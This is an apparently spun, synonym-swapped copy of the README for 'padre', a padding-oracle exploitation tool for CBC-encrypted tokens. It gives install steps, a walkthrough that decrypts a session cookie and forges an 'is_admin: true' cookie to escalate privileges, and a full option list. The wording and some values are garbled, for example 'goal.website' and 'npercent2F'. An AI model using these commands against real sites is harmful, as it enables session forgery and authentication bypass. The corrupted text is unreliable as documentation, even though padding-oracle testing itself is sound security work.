padre is a complicated exploiter for Padding Oracle assaults in opposition to CBC mode encryption
Options:
- blazing quick, concurrent implementation
- decryption of tokens
- encryption of arbitrary information
- automated fingerprinting of padding oracles
- automated detection of cipher block size
- HINTS! if failure happens throughout operations, padre will trace you about what will be tweaked to succeed
- helps tokens in GET/POST parameters, Cookies
- versatile specification of encoding guidelines (base64, hex, and so on.)
Demo
Set up/Replace
-
Quickest manner is to obtain pre-compiled binary on your OS from Newest launch
-
Alternatively, in case you have Go put in, construct from supply:
go set up github.com/glebarez/padre@newest
Utilization situation
In the event you discover a suspected padding oracle, the place the encrypted information is saved inside a cookie named SESS, you should utilize the next:
padre -u 'https://goal.website/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffnpercent2Fd0uRqKzyaPfM2UFqpercent2F8dWmoW4wnyKZhx07Bg=='
padre will routinely fingerprint HTTP responses to find out if padding oracle will be confirmed. If server is certainly weak, the supplied token shall be decrypted into one thing like:
{"user_id": 456, "is_admin": false}
It appears to be like like you may elevate your privileges right here!
You possibly can try to take action by first producing your individual encrypted information that the oracle will decrypt again to some sneaky plaintext:
padre -u 'https://goal.website/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
This can spit out one other encoded set of encrypted information, maybe one thing like under (if base64 used):
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
Now you’ll be able to open your browser and set the worth of the SESS cookie to the above worth. Loading the unique oracle web page, it is best to now see you’re elevated to admin degree.
Impression of padding Oracles
- disclosing encrypted session info
- bypassing authentication
- offering faux tokens that server will belief
- usually, broad extension of assault floor
Full utilization choices
Utilization: padre [OPTIONS] [INPUT]INPUT:
In decrypt mode: encrypted information
In encrypt mode: the plaintext to be encrypted
If not handed, will learn from STDIN
NOTE: binary information is all the time encoded in HTTP. Tweak encoding guidelines if wanted (see choices: -e, -r)
OPTIONS:
-u *required*
goal URL, use $ character to outline token placeholder (if current in URL)
-enc
Encrypt mode
-err
Regex sample, HTTP response our bodies shall be matched in opposition to this to detect padding oracle. Omit to carry out automated fingerprinting
-e
Encoding to use to binary information. Supported values:
b64 (normal base64) *default*
lhex (lowercase hex)
-r
Extra replacements to use after encoding binary information. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Instance:
If server makes use of base64, however replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie worth to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String information to carry out POST requests. Use $ character to mark token placeholder.
-ct
Content material-Kind for POST requests. If not specified, Content material-Kind shall be decided routinely.
-b
Block size utilized in cipher (use 16 for AES). Omit to carry out automated detection. Supported values:
8
16 *default*
32
-p
Variety of parallel HTTP connections established to focus on server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP
Additional learn
Various instruments